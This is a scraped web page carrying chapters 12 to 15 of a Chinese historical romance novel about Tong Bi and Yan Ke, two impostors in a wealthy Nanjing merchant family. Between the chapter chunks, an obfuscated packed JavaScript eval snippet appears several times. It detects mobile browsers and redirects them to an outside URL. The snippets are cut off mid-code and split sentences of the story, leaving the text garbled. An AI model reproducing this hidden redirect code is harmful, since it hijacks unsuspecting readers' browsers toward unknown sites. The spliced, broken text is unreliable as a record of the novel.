;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936723|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候我在家乡替你寻门好亲事，再送你出阁。” 燕恪听着他夸赞，渐渐把腰背挺起来，一脸洋洋自得的神气。 童碧瞧着就来气，“他的品行，我信不过！” 易老爹朝她走来，“那他脑子转得快，你总信得过吧？” 何止转得快，简直一转一个急转弯！ 见她虽不吭声，却不服气，燕恪款款站起身，抬手在她身上上下比划，“你信不过我，总信得过你自己吧？你有什么值得我一定要留下你的，美貌？才情？贤德？你放心，留下你于我有什么好处？眼下你冒冒失失地走了，一干人都得跟着受牵连。你自诩仗义，临阵退缩，算得仗义？” 两厢下来，说得童碧无话吱声。 静下气一想，刚嫁来三日的新娘子，没头没脑溜了，苏家岂能不追究？追究到头，大家都没好果子吃。 也罢，反正在哪里都是吃喝拉撒睡，这里吃得好睡得好，就再多留它几日也未尝不可。 商议半日，燕恪见童碧神情似有缓和，不等她细思细虑，便到院门外头寻春喜，吩咐预备午饭。春喜却道大太太那院已宴席齐备，请三人过去那头用席。 席间还请了二老爷苏观，二太太许多彩作陪，用罢午饭，晚云又命小厮套上两辆马车，叫燕恪童碧将易老爹送去码头坐船。 一时屋里散了，晚云走去榻上，忽睇了江婆子一眼，“去把春喜那丫头叫来，我有话问她。” 未几春喜急急赶来，提着裙子踅绕进后房。晚云盘在榻上吃着茶，慢问早上易老爹在黛梦馆同这小两口都说了些什么。 春喜低着头道：“没听见，三爷将我们都支开了，说我们在跟前，三奶奶拘束，不好同易老爷说家常话。” 这由头也说得过去，可晚云总有疑心，“那这三天以来，三爷在屋里都做些什么？” “看书。” “除了看书呢？” “还是看书。”春喜在额发间暗窥她一眼，“三爷自从搬进家里来，除了去国子监当值，回来便是看书。这几日因新婚告假在家，更是没事可做，不是看书，就是和三奶奶在园子里闲逛。” 晚云搁下茶碗，“他就没打听打听咱们家的生意？” 春喜摇头，“倒是闲问了两句，没大细问。” 看来他还真是一心奔着仕途走，晚云稍微放心下来。心思不在做生意上，这种人用起来才放心，免得同她母女争起来，反招来个敌手。 她笑一笑，“你去吧，等宴章回来，你告诉他，让他明日来帮他大姐姐看看账。往后他们两口子若有什么事，记得来回我。” 春喜低着脖子出来，心里暗暗琢磨这位新来的三奶奶。奇怪，这人粗鲁野蛮，不识字便罢了，连女红针黹也不大会。按说他们易家就是在桐乡开布店的，这些针线上的功夫，应当在行才是。 她这些疑虑，半个字没对大太太晚云提及，却一转头，往金粉斋告诉了三太太陈茜儿。 12.012 这里事主童碧还半点不知收敛，只管在马车内的长座上，两条腿悬空交叠着踩住车框，抱着胳膊睡得正香。 燕恪在对过座上看得直攒眉，依她这行动做派，连小家碧玉的姑娘也不像，迟早会给苏家大宅里的人瞧出端倪。原想留她在身边搭个伴，做个帮衬，倒别因她，反惹祸端。 不过要她改却难，这言行做派都是自幼养成的习惯，装得了一时，装不了长日。好在易家只是桐乡县的小门户，苏家对易家原不十分了解，姑娘养得糙，也说得过去。 及至码头，童碧还未醒，太阳晒得人发昏，燕恪便未叫她，自下车来，将易老爹送上船去。 辞别话说了几句，顺便递了张百两银票给易老爹，“这票在嘉兴大宝钱庄可兑取银子，今日多谢易老爷力劝童碧留在苏家，只等将来发达，还有重谢。” 易老爹望一望岸上那马车，将票子掖进袖中，呵呵直笑，“童儿虽性子冲动莽撞，却有副侠肝义肠，她是怕我易家吃官司。她待我们易家，真是一片赤忱，我把她留在南京，二郎，从今往后你可不要苛待她噢。” 燕恪打了拱手，“易老爷尽管放心。” 易老爹掉身欲往船舱去，临行又转过头来，“童儿和你非亲非故，你留下她在身边，有什么用处？” 一时真将他问住了，他自己也说不上来，反正自从那年吃了官司，爹娘接连死了，在这世上碰见的，没一个好人。 只这姜童碧，他偷她抢她骗她，她到底也没拿他怎么样。 他自进苏家大宅，日日心神不灵，倒是那日成亲，她来了，如同陷阱里伸下来的一只手，管他是人是鬼，反正先攀住再说。这法子是有些饮鸩止渴，毕竟她动不动就打他，但不值什么，他在流放广州那几年，挨打早挨惯了。 他笑一笑，“她是个孤女，我也没了父母亲人，又都吃过官司，易老爷不觉得我和她是同病相怜？” “就为这个？” “在这世道上，有缘分能碰见个同病相怜的人，可不容易。” 易老爹打量他两眼，笑着没搭茬，自钻进舱房里去了。 燕恪仍下船来，童碧换了个姿势，侧身睡在那长凳上，他看得摇头。真难为她，这么湫窄的地方，亏她也睡得香。 他悄声登舆，吩咐小厮赶车回去，眼睛没处放，就落在她脸上，摇来晃去地，一看竟看了半晌。及至童碧迷迷糊糊睁开眼，他方把眼转过，抬手抚弄壁板上的雕花。 童碧坐起身，挑着车窗帘往外一瞧，竟还在街市上，便打着哈欠咕哝，“这南京城也太大了，这半天了还走不到码头上。” “码头早就去过了，这会都往回走了。” 童碧“啊”地一声，发呆下去。易老爹这一走，她有些怅然若失，孤零零的。南京城车水马龙，如此繁华，她一个小地方来的粗野丫头，少不得也有两分怯懦，不由得睇他一眼。 燕恪背贴车壁，颇有些得意的神气，“你这副做派也该改一改，哪里像个娇惯的小姑娘？难道那易敏知也是你这副样子？” 童碧偏着眼冷冷射他，他给她看得发毛，收敛了一片得意，和软地笑了，“我的意思是——哎唷！” 话音未断，童碧已提起脚朝他靴子上重重跺下去，还发狠碾了一碾。她一向是刚睡起来脾气最火爆，连分辩也懒得同他分辩。 赶车的昌誉听见喊叫，转背打起帘子来，“三爷怎么了？” 童碧立刻把脚收回裙下，燕恪只得捂住额头，一手朝他摆摆，“不妨事，磕着一下脑门了。” 那昌誉丢下帘子，燕恪登时抬起脚来揉搓，痛得浓眉怪拧，龇牙咧嘴，“你有这一身力气，不如套上犁耙去耕田！” 在她瞧来，他这表情倒有了些鲜活气，先前他脸上虽然也是变幻万千，却无论怎么变，都透着股假。看来在他心里，只有痛才是千真万确的。 一句话说来便是，此人记打不记吃。 比及回到苏家大宅来，一路进去，燕恪脚上还隐隐作痛，本不想睬她。到底忍不住嘱咐她些话，仍是劝她要收敛些言行，总而言之，怕被人揪出尾巴来。 听口气冷冷的，像给谁下令一般，童碧天生野性难驯，听得烦了，反扭头瞪他一眼，“啰里啰嗦一大堆，我半句没记住。再说，我凭什么得听你支使？” “就凭你还要靠我想法子脱身。”燕恪脸上浮着笃定地微笑，“你自己能想得出办法来？” “瞧不起谁呢。”童碧稍稍走在前头，眼珠子一转，她向后拿肩背贴住他半边肩膀，“你把我休了，怎么样？” 她仿佛靠在他怀里，他肩膀及半片胸膛都有些僵，“你几时听说过新婚就休妻的？就算我不怕天打雷劈，苏家也怕人骂狼心狗肺。像苏家这样的大商贾，最在意名声，名声若不好，恐官府拿住把柄。再说你又没犯七出之条，我有何名义休妻？” 童碧心内将七出之条反复琢磨，眼下没一条可行的，只得暂罢，“还是你想主意吧。你才刚要我怎么样来着？” 燕恪走到她身旁来，睨着眼，神情格外认真，“你依我话，第一，从今往后，不能再碰你那两把刀。” 这宅子里也没什么土匪强盗，杀鸡宰鸭的活计也不要她亲自动手了。他嚜，一个拳头就够了，的确犯不上使刀。 她反剪双手，一派大义凛然，“听你的，就搁在箱子里。” 燕恪睨着她，“第二，不能随便动用拳脚。” 童碧怫然转过脸，“你这就有些针对我了。” “本来就是约束你的言行，你见谁家姑娘动不动就打人？” 她寻思一会，没奈何，只得点头。他微微笑一下，等她转过眼，他又仍是那副义正言辞的态度。 次日起来，二人照往前头去给大太太宋姨娘请安。童碧前几日只想着走，没大留心这院子，今日留了心，见院门上挂着匾额，问燕恪，道匾上写着“缀红院”三字。 进去瞧，同他们居住的院子格局一样，也是一个大院套着个内院，内院在左廊那头，里面是姨娘宋兰茉的屋子。右面廊下一间大厢房，是大姐姐苏罗香的屋子。正房也是间大套房，左右各一间耳房。 童碧看得暗暗咂舌，踅入正房内，一房人口吃过早饭，童碧按昨夜与燕恪商议下的，有意要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940804|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试探试探这宋姨娘，便和丫鬟搀着她回左边内院吃茶说话。 吃的却是两盏荷钱茶，里头又添了点茉莉花与杭白菊，配着一碟肉脯。 听说宋兰茉与姐姐宋兰芝自幼在杭州学唱曲，十七八岁时，姊妹两个才双双跟着师傅到南京卖艺。 先是她姐姐宋兰芝结识了二老爷苏观，被二老爷抬进苏家大宅做了小妾，就是二爷苏殿晖的亲生娘。 一日，大老爷要出门，正要经过宋兰芝从前的住处，她便托大老爷顺便给她妹子捎些银钱。如此，大老爷苏赋便结识了宋兰茉。 可惜姊妹俩同运不同命，宋兰芝进得了苏家大院，这宋兰茉却进不得，直到如今“儿子”高中进士，才依仗这光被接回苏家。 按燕恪先前揣测，她或许怕“儿子”是假货，她也会被赶出苏家，因此即便有所怀疑，也不敢追究。可童碧看来，这说法未免牵强，她再怕，难道不牵挂自己儿子的下落？ 还是她根本就没察觉眼下这儿子是个赝品？ 童碧寻思半晌，拿起一片肉脯吃着，呵呵笑道：“姨娘，我在家就听我娘念叨您，您写去桐乡的信，我娘都还留着呢，闲时就翻出来看看，常记挂您在嘉善县过得好不好。到底这些年过得如何，艰不艰难呢？” 兰茉眼睛里零零散散无定的光，为这张端丽的脸添了些支离破碎的风情。 她目空榻前，笑道：“有劳你娘惦记，我和宴章这些年在嘉善，说苦不苦，说容易也不大容易。到底孤儿寡母家，免不得受些闲气。好在都熬过来了，瞧，宴章多出息，做了官，还讨了你这么个媳妇！” 到底是亲生娘，话说的和太太晚云虽是差不多，可语气里的轻重缓急，比晚云那种假客套显得情重许多。童碧笑得合不拢嘴，“我不好，我不大懂规矩，又不会说话。” “谁说的？我虽看不见，可只听你的声音，只摸你的眉眼，我也知道，你定是个既美貌又懂事，还不娇气的姑娘。你肯嫁给我们宴章，是我们宴章八辈子修的造化。” 一席话夸得童碧晕头转向找不着北，忙拿了片肉脯递去，“姨娘，你也吃。” 兰茉笑着推她的手，“你吃，你多吃些，我早饭吃得饱了。” 童碧一样吃过早饭，还吃得比她多许多，这时倒有些不好意思，“我也吃了早饭，可我这肚子，不知怎的，我娘说我生下来就很能吃，不像个丫头，让大家笑话了。” 兰茉努起嘴，“嗳，这有什么，你年轻，能吃是好事，我就不喜欢那病病殃殃文文弱弱的姑娘。” “姨娘不是客套话？人家都嫌我是糙性情呢！” “你这叫直爽，我要是生个女儿，巴不得她是你这脾气，少受人家欺负啊，有什么不好？”说着，兰茉朝炕桌那头拉过她的手，顺着胳膊摸去她脸上，“都说儿媳妇就是半个女，往后我拿你当整个的，一样疼你。” 这只温柔手仿佛直摸到童碧心里去了，她一个感动，把燕恪交代给她的话都抛在脑后，当即下榻给兰茉磕了个头，“娘，往后您就是我的娘，我孝敬您！” 兰茉眼珠子只朝下往她头顶一瞥，偷摸笑了。 13.013 只等童碧磕完头起身，却有个面生的小厮进来，行过礼，将一匹好缎子交给丫鬟柳枣。说这缎子颜色虽染得不正，却显得别致，二爷苏殿晖给起了个名字，叫‘晚天霞’，让小厮拿了几匹回来，孝敬三位太太和姨娘。 那颜色似红非红，似粉非粉，果然像云霞一般。柳枣捧给兰茉摸一摸，兰茉摸着，失神一瞬，“什么霞我也看不见。殿晖还住在染坊里？” 小厮道：“只等这批料子重新染完，交了货，这就回来了，六.七天的事。” 兰茉点着头，吩咐柳枣，“你去厨房里，叫他们做些定胜糕，带去染坊里给殿晖吃。” 那小厮便随柳枣一道去了。兰茉摸着缎子和童碧道：“殿晖你还没见过吧？他亲生娘是我的亲姐姐，他和宴章既是堂兄弟，也是姨表兄弟。” 童碧答应着，“那天去二叔二婶房里请安，晖二哥没在家。” “染坊里有点要紧事，他这几日都留在染坊里忙，过几天回来，就能见了。”兰茉将缎子朝她那头推去，“什么别致的颜色我也瞧不见，还是你拿去裁衣裳穿。” 童碧不喜欢这鲜亮颜色，欲待推辞。她却瘪嘴说：“才刚说拿你当女儿呢你就和我推让，做媳妇讲客气，做女儿的还讲客气？快拿去！” 到底盛情难却，童碧只好收了。今日她同这宋兰茉浅谈下来，半句不对的话也没打听出来，抱着料子倒仿佛她娘死而复生一般，欢欢喜喜地辞了出来。 走到外院，只见对过东厢的房门关着，一个丫鬟在廊下靠着打瞌睡。童碧撇下嘴，大热天的，那大姐姐苏罗香大概是人寡面淡，也不嫌热。 那屋里，燕恪正帮着苏罗香看账，发了一身汗，摸摸袖中，手帕偏忘了带。罗香见了，却从自己袖里摸了绢子替他轻轻揩汗。 蓦地惊得他魂魄哆嗦，忙站起身让罗香坐。 罗香仍拉他坐，“还是你坐，你替我看账，倒让你站着？” “那我替大姐姐搬根凳子。” 燕恪说着，绕出书案，踅出碧纱橱，到外头暖隔里搬四足马蹄凳。感觉背后一双火辣辣的眼睛跟随着，他端起凳子却顿了顿，眼睛向后瞟着，心里狐疑，身上直冒冷汗。 趁他坐回椅上，罗香悄悄将方凳挪得近些，一条胳膊搭在他椅子的扶手上，一面在他脸边打着纨扇。 燕恪只觉这一股一股的微风似她的眼风，不凉快，反而炙热。 他咳了声，轻拍着账册，“我看了看，这三年的损耗一年比一年多，所以净利自然就比往年要少些。一家铺子每月少几十两，十二家铺子，加起来可不就是几百两？” 他说话时也只管低着头，褐色的眼睛仍目中无人地放在账上。罗香只顾看他的侧脸，他鼻梁凸出的弧线上，有一小片毛孔略粗糙，不过脸上比他刚来家的时候细腻了许多，显得唇上那一撇淡淡的青印更明显了些。 他这下巴唇上，摸上去肯定是有些扎手。这弟弟她从前只听过没见过，猛地回到家来，原来已是个大男人了。她心里一阵荡漾。 “大姐姐。”燕恪转过脸，冷不防被她近在眼前的面孔惊了惊。他微微朝后仰过笑脸，“大姐姐可在听我说？” 罗香含笑点头，“损耗的事我知道，搁货的库房有些潮，去年今年的雨又下得多，霉的布匹就多了些。” 燕恪又看看明细账，这两年损耗的布匹递增，一间铺子直比两年前多损耗四十两，南京城这两年的雨水再多，也淹不了这些银子，一定是布庄里掌柜在捣鬼。 不过他初来乍到，即便是“宴三爷”，也不敢轻易得罪铺子里那些人。 他朝她歪过身子，背靠在那边扶手上，一条胳膊搭来书案上，一个显得拓弛的姿态，“发了霉的布匹，就没法子？” 罗香故意抬起脖子，纨扇慢慢摇在胸前，一个轻傲的姿势，笑瞥他一眼，“要是一般的铺子里，晒一晒，洗一洗，照卖不误。可暴晒过的料子免不得质地颜色有些不正了，我们苏家是不能卖的，只好销毁。” “可以卖得便宜些嘛。” “便宜些当然卖得出去，可我们布庄的客人，都不是差钱的人，就是贱卖了，他们也不肯买。” “难道不能卖给差些钱的客人？” 罗香耸着肩一笑，“这你就有所不知了，咱们布庄的客人都是南京城有头有脸的人物，非富即贵，他们图的不是东西，是体面。他们为什么不在别家买？一是咱们家的货好，二是咱们家不做一般人的买卖。在那些人心里，银钱是小，要紧是把他们和寻常人划开，他们脸上有光。” 燕恪笑道：“我明白了，这些顶好的料子就是个彰显尊贵的符号。” “不错，所以一个赛一个，只要出得起钱的，都到咱们家买料子，他们要的无非是高人一等。真将那些差些的料子卖给差些的人，以后苏家的布庄就不是只有显贵人才进得来的了，一样是砸招牌。” 原来做生意不单是银货的事，还得见微知著，洞察人心。燕恪点一头，“大姐姐说得在理。只是那库房，怎么不找人好好修缮一番？” 罗香叹气摇头，“那库房地基太矮，要改就只得拆了重新抬高地基。找了一班修房子的泥瓦匠，可太太嫌人家报的价钱高。其实我看也没有多高，现在都是这行情。” 燕恪翘起一条腿来，“那仓库是咱们自己家的房产？” “不是咱们自己的，何必费心去重建？太太出面去同他们匠头师傅谈价钱，他们大概看太太是个妇人，让得少，太太犹豫，这事情就一直悬而未定。” 他慢慢点头，穆晚云虽是女人，却十分要强，自己谈不下价钱，多半也不肯托二老爷三老爷去谈。 若托他们去，真谈成了，自己揽下的一宗生意，却还要二房三房帮衬，落在老太爷眼里，还不是二房三房精明强干，倒显得她妇人家无能。 既说到仓库修缮装潢的事，罗香忽想到，跟前不就是个男人？可不是，今时不同往日，他们大房也来了个男人，是个二十年岁正当壮年的男人，二十年素未谋面的弟弟，陌生又亲切。 她将眼睛一转，转到燕恪脸上。燕恪只觉脸上是被阳光暴晒着，有点灼痛。 她和燕恪商议，叫燕恪出面去同那班匠人周旋，好歹少点价钱，这头也好说服太太。 燕恪却歪在椅上摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948196|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，“我不行，我只知读书，根本不懂房舍修建的事，也不大懂行情。” 罗香力劝，“不懂行情不要紧，同他们多谈两回就懂了，你这般聪明，还怕学不会？” 他仍是轻笑摇头，“过一月我的假完了，还要去国子监当值，哪有工夫？” 罗香只把两手来摇他的臂膀，“这不是还有半个月嚜，你就当帮帮姐姐，啊。” 燕恪给她矫揉做作地摇晃着，胃里翻江倒海，脸上仍笑，却不说话了。 罗香见有缓和的余地，便起身拉他，“我去和太太说，你跟我一道去。” 开门出来，场院中满地灿灿的阳光。罗香一心想将身上的担子甩出去，从前是没法子，这房除了她，没兄弟姊妹，如今他来了，正好担待起。 尽管他不是太太生的，可到底名义上也是她的儿子，只要他强干，未必不能打动太太的心。 如此一想，不由得脚步轻盈，一颗心也在腔子里轻轻颠着，在廊下一步三回头，引着燕恪往正屋去。到正房里和晚云一说，晚云稍一忖度，果然答应了。 这里只顾商议，檐外渐渐火轮升腾，童碧自从这院出去，抱着那匹“晚天霞”只顾看，因没留神，出院竟朝右边走了。 走到一半方觉走错了方向，回黛梦馆该往缀红院左面去。 反正走到了这里，不如闲走怡情，苏家这宅子大得不得了，山水楼台，一步一景，前几日也没心思逛，今日何妨逛一逛。何况燕恪嘱咐她不许和丫鬟多说闲话，免得话多露了马脚，回房也是无趣。 这条路也不知是往何处，但见重岩叠嶂，一片池塘，柳阴绿水，碧叶粉莲，顺着这池塘往前走，是青瓦粉墙一座轩馆，绕去廊后，见种着棵郁郁苍苍的香樟树。 树下还有间屋子，那屋子开着半扇门，开着一扇窗，悄寂中听见里头有沙沙的翻书声。 童碧正顺着细径走去，忽见那窗户里头走来个男人，年纪似乎不很大，不到三十的样子。 这男人侧着身，捧着书，低着头，结发于顶，两条浅蓝巾带垂在脑后，半张脸起伏有致，身上穿蟹壳青圆领袍，腰间玉带翠犀，有一种肃穆沉寂。 她看得眼直，人家似有所觉，朝窗外转过脸。惊得她手一松，怀中缎子掉下去，滚了一地。 这人走到窗前来，望着遍地“烟霞”，衬得她那张脸娇妍可爱，像藏在烟霞里，一个不刺眼的日头。他点头道：“晚天霞，好颜色，只是寻常人不识货。” 童碧忙将缎子卷起来，斜抱在怀中笑，“你认识这颜色？你就是晖二哥不成？” 不对，才刚来送缎子回来的小厮还说，苏殿晖此刻仍在染坊里，又没生翅膀，如何眨眼工夫就回家来了？ 她还没猜得准，这人倒先将她猜出来了，“你是新进门的三奶奶，易敏知。” “你认得我？” 他微笑着将书卷到背后，隔着窗户打量她，“你进门那日，婚宴上我见过你，不过隔着红盖头。原来是长这副模样。”言讫人朝墙里走了，窗户里头忽然显得空落落的。 一阵风卷进去，卷飞了那书案上一沓纸，翩然落了一地。 14.014 不得了，了不得，这苏家今日方显山露水，原来大宅子里藏着这么位丰神俊逸的人物！ 童碧对待除燕恪之外的一切俊相公，向来奉行“宁教男人负我，不可我负男人”之方略。这策略乍听仿佛有些吃亏，可往长远里看，也未尝没有些“宁错杀不放过”的无畏气概。 当下，她自然是色迷了心窍，魂儿被勾去了屋里一般，两条腿也跟着不由自主追到门前来。 见那男人站在左边内间，正将手中那本书搁回书架上。 原来这是一间大书房，中间是间小厅，左右各有里间，挂有竹帘，立着许多多宝阁，只是摆的古玩珍奇多过摆的书。他在左边罩屏里头，竹帘卷起来一半，他的脸在帘后，隐隐约约。 单是那隐隐绰绰半张脸，也足令童碧嬉着脸踅进帘来，殷勤地去拾那落了满地的宣纸，“你怎么熟门熟路的，你到底是谁？” “我？我是苏家一个亲戚。”这人含笑踅到书案后头坐了，“你是三奶奶，等下人来收拾就好了，何必自忙，请坐。” 童碧将一沓纸理在案上搁了，一步三回头，走去窗根底下，将缎子搁在方几上，只顾打量他，“你是什么亲戚啊？” 他抿着一线微笑，“我叫杜连舟，是宴章的表兄。我上午去梅兰居探望老太爷，他老人家叫我过大宅里来取件东西给他送去。” 童碧双目炯炯，只盯着他的脸看，“老太爷成日在那叫梅兰居的小宅里养病，连我也还没见过呢。” 这杜连舟笑笑，“老太爷那病见不得生人，年纪大了，一病起来就没精神应酬人，等他好了，自然就回家来见你了。” “见不见的也没什么要紧。” 童碧无所谓地摇手。都说苏家老太爷做生意十分了得，一双慧眼能分辨奇货可居，要是见了她认出是个假货——安危起见，还是能不见则不见。 她调过话头，“这是什么地方啊？” “这是你家，你不知道这是什么地方？” “我也是头回过来。再说这里也算不得我家。” “这是柳月斋，老太爷附庸风雅，装点了这间书房，不过他素日少到这里来，只在前头那间会客厅会会朋友。” 不错，做生意的人但凡发了财，就喜欢装有学识。她爹当年也爱买把扇子在手上闲转着，尽管扇子上的字他只认得一半，也不妨碍他装“文雅相公”。 连舟睇着她好笑，“你既嫁进苏家做媳妇，这里不是你家，哪里才是你家？是苏家不好，还是宴章待你不好？” 童碧在案前走着，一只手反剪，一只手乱摇，“苏家好是好，只是住着不如家里自在。至于苏宴章——” “他怎么样？” 她翻个白眼，“不怎么样。” 连舟笑了，眼睛幽幽一点亮，“苏家是商贾之家，个个做买卖，难得出了个读书上进的人，你却嫌他不好？有意思——不知他如何个不怎样法？你倒说一说，是嫌他长得不好，还是他打你骂你了？” 童碧两手撑住前面案沿，脑袋凑来案上，“你是他表兄，我若说了，你不会转头就告诉他吧？”说着，又自站直了，“不过你告诉他也不怕，他也不敢把我怎么样，打我骂我，哼，只看他修不修得出那份本事下辈子使。” 他向椅背靠着，闲适地翘起一条腿，“如此说来，你倒还厉害过他了？” 童碧反剪双手，左右踱着，“百无一用是书生，他那种读书人，再来两个我也降得住。不像你——” “我又如何？” 她笑得见牙不见眼，心道：不像你，我才舍不得打你呢。 见她只笑不答，他也笑了，“看不出来你个小丫头，竟敢对丈夫动手。” “什么丈夫不丈夫的，惹火了我，天王老子也打得。” 他身子贴在案沿上，目光审度，“你会些拳脚上的功夫？” 童碧这才醒悟话说多了，正自懊悔，罔知所措时，忽有个体态精瘦矫健的小厮寻进门来。 这小厮刚要张口，杜连舟先朝他使个眼色，抢白道：“马车收拾好了？” 小厮点头，“褥垫都换过了。” “这就走吧。”他由案后起身，错身走来童碧身旁，笑睨她一眼，“午饭时候了，三奶奶快回房去用饭吧，改日再会。” 童碧也痴笑着道声再会，朝他挥着手，等人走没影半天了，她才将手放下，去抱了缎子，心里蓦地有些失落的，这位表哥不知道什么时候还能再来苏家。总归是亲戚，逢年过节总得来吧？ 掐指一算，最近的节是中秋，还有两个来月，有得熬！ 苏家这宅子太大，走到哪里都听见莺雀蝉鸣，叫得人一片惘然。童碧吹着哨子进院，正撞上梅儿跑出门，却在她跟前顿住脚，“还说去叫爷奶奶吃饭呢，这就回来了。” 童碧把缎子顺手交给她，进门一瞧，暖阁内摆上午饭了，她不顾燕恪没回来，走去坐下，端起碗便扒了几口饭。一看三个丫鬟都在桌前站着，有些不好意思，叫她们也坐下吃。 三人自然不敢，春喜笑着，一面挨圆凳坐下来，“奶奶娘家，也和下人一桌吃饭？” “我们家只有一位赵妈妈，她是带我长大的，也不是我家买的下人，只是在我家时日长，我那她当祖母一般，都是一桌子吃饭。不像你们这里，下人主子分得清清楚楚，没意思。” “这是大家的规矩，苏家人口多，要是像奶奶说的，岂不乱套了？”春喜睇着她的脸，琢磨着话探听，“奶奶从前在家闲时，都做些什么？烹饪针黹，或是——” 话音未落，春喜觉得门口的光晃了一下，扭头一看，燕恪正从门外进了外间，他撩了下罩屏上挂成半圆弧的纱帘，低下脑袋钻进来，脸上带着笑，目光扫在春喜面上。 春喜只觉那目光幽幽凉，脸上闪过一丝心虚惶然，忙起身让燕恪，“奶奶饿了，等不及三爷回来，就先吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950488|192263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “我在太太屋里吃过了，忘记打发人过来跟你们说一声。往后吃饭，我若不在时，不必等我。” 他这话也不知对谁说，几个丫鬟又不同吃，童碧更不必嘱咐，简直当没他这人，吃饭从不等他。 “那我就先把这碗收了。”春喜收了一副碗筷，低着脖子出去。 燕恪叫梅儿小楼也自去，绕案走到童碧左边来。童碧吃饭正忙，根本没工夫拿正眼看他，只顾大快朵颐。吃得急了，干脆抬起一只脚踩在一边凳上，端起碗直往嘴里扒。 他反剪双手，偏着脑袋瞅她两个鼓鼓囊囊的腮帮子，脑中浮起个词——牛嚼牡丹。 “你小时候，家里是不是闹过饥荒？也太可怜了，你爹实不该放弃从前那行当，靠正经做生意，如何养得起你？”他直起腰来啧啧摇头，一面把屋子巡睃一圈，“这屋里恐怕不多日，也要叫三奶奶吃穷了。” 几日下来，童碧迫不得已习惯了他这张贱嘴。他成日间讥语酸言，大概是读书人的通病，说人不直说，偏爱逗个弯子，就为显摆那一身臭水墨！ 反正“君子”动口女子动手，说他不过就打，半点不吃亏，渐渐便不在口舌上和他争强。何况她今日高兴，且饶他一回。 饭碗见了底，童碧向来尤为诊视这最后一口饭，雨露均沾，特地每样菜都搛些，和匀了，端起碗来两口刨进嘴里。 此情此景，每每看得燕恪瞠目咂舌，那副表情活像亲见了在桌上吃鬼嚼骨的钟馗。 一时童碧心满意足搁下碗，慢慢踅去榻上，一只脚抬来踩住榻沿，一手朝炕桌上点点，“去，给三奶奶倒盅茶来。” 燕恪左看右看，三个丫鬟早收拾桌子出去了，屋里只他一个。便走来榻前，瞪着两眼，“你叫我倒茶？” “还有别人么？”童碧似懒非懒地挑半条眼缝瞅他，“成日你支使我，我支使不得你？” 他掣袍子在那头坐下，“你凭什么支使我？” “就凭我为了保全你，成日同这些人装聋作哑，都成了个傻子了！” 他一笑，“你以为你不装，就不显傻了？” 笑得可恨，童碧将腿一抻，从炕桌底下抻过去，狠蹬他一脚。踹完，拍着自己这条腿嘿嘿笑起来，“你看我这条腿长不长，仿佛就是专门为踹你才长的。” 燕恪果然歪下眼在看她的腿，其实她个头不矮，腿的确又细又长。 天气热了，她只穿了一层鸦青纱裙，里头是白罗袴子，那暗青里透着隐约的白。他顺着炕桌底下望上去，她上头穿的是一件黛蓝鲛绡对襟短衫，露着一片鸦青横胸。 她常穿颜色极暗极重的衣裳，像在替人守孝，那张小圆脸却不大合守孝的规矩，过于明艳张扬，显出一种混乱矛盾的美。使人看着，心里也生出一点矛盾困惑。 他看她半天，就看在她这两条“为他而长”的腿的份上，到底心不甘情不愿地去给她倒了茶来。 15.015 这茶原是饭前丫鬟刚沏在那里的，童碧吃饭吃得快，这会茶还热得很，才吃一口便浑身冒汗，这样火热的天，谁还喝得下这火热的茶？ 正想寻口凉的吃，就见苏罗香跟前一个丫鬟提着个提篮盒进门来，这丫鬟叫素雨，仿佛是为了反衬苏罗香的干瘪寡淡，这丫头偏长得圆圆胖胖水灵灵的。 童碧觉得她相貌喜庆，饱时瞧她似门画里的娃娃，饿时瞧她像粉嫩嫩的猪崽子，总之看见她就忍不住笑得眼馋。 这素雨只当是嘲笑她身段丰腴，对着她没好脸色，只把提篮盒搁在桌上，从里头端出一碗冰镇燕窝来，搁在燕恪那头，“姑娘吃燕窝，叫我给三爷送一碗来。” 燕恪还没作声，童碧先凑来炕桌上，“只给三爷啊？我呢？” 素雨不睬她，挽着提篮盒走了。 